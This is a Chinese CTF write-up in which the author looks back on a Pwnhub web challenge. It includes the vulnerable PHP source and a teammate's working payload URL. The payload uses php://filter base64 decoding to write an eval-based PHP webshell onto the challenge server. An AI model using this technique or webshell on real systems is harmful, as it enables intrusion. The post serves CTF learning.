自省之CTF思維

admin 2022年5月17日11:28:49评论33 views字数 1507阅读5分1秒阅读模式

Pwnhub 某 CTF

今天參加了一個突擊題目,乍一看很簡單。

打開題目頁面,然後就在firebug發現了

http://54.223.231.220/image.php?file=http://127.0.0.1:8888/test.png&path=logo.jpg

明顯是寫shell類型的題目。

接下來就是考慮怎麼去讀寫。

打開鏈接一看

console.log('logo.jpg update sucess!')

頓時感覺很熟悉,以前做過類似的題目,利用echo "console.log('".$path." update sucess!')";回顯寫入payload

試了下發現過濾了<,不能寫入標籤也就不能寫入執行語句。

這時候我想到的是php://fifter協議過濾寫入shell,大半個小時過去了,沒調對payload。。

賽後小夥伴調出來了

http://54.223.231.220/image.php?path=php://filter/write=convert.base64-decode/resource=shell1.php&file=http%3a%2f%2f127.0.0.1%3a8888%2fimage.php%3ffile%3dhttp%3a%2f%2f127.0.0.1%3a8888%2fimage.php%26path%3dxxPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs%2fPg

path放棄了,然後轉載file

測試了下,只是簡單的判斷file是否有http://127.0.0.1:8888/

於是乎,就用file(php協議也行)協議讀取了源碼。

<?php
ini_set("display_errors", "Off"); error_reporting(E_ALL);
$url = $_GET['file'];
$path = $_GET['path'];
if (strpos($path, '..')>-1)
{
    die("error");
}
if (strpos($path, '<')>-1)
{
    die("error");
}
if (strpos($url, 'http://127.0.0.1:8888/')>-1)
{
    file_put_contents($path, file_get_contents($url));
    echo "console.log('".$path." update sucess!')";
}
?>

看了下源碼,分分鐘就可以秒破。

明顯就是非預期做法。

就在這個時候,官方閉站改題了。。。尷尬。

再回到首頁看看其他線索,發現存檔頁面有個xss可以暫時保存數據。

http://54.223.231.220/?date/2016-12/

其中的2016﹣12會寫到頁面中,測試了下test,可以正常顯示,

於是乎又來了一發payload。

結構啥都沒有,以為不是這個點,有默默地區闡釋fifter/base64-decode。

思路沒轉過來,後來看別人的wp才知道過濾了空格,簡單的二次編碼就能突破了。

憂傷

傻傻的掉進不算坑的坑,把直接坑慘了。

最快的人17分鐘就AK了這道題,且不說是不是預期做法。

個人做題速度太慢了,次次與flag擦肩而過。

沒有走在點子上,或者在點子是沒深入。

歸根結底就是對php://fifter和base64不熟悉,沒整出完美的payload。

明明test可以成功,用<?php xxx;?>不成功卻沒有思考為什麼。

以後一定要注意!!!

明明讀取了image.php的內容卻沒有順手讀取index.php的內容。

一隻傻逼的Virink

FROM : virzz.com | Author:Virink

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月17日11:28:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   自省之CTF思維http://cn-sec.com/archives/1013009.html

发表评论

匿名网友 填写信息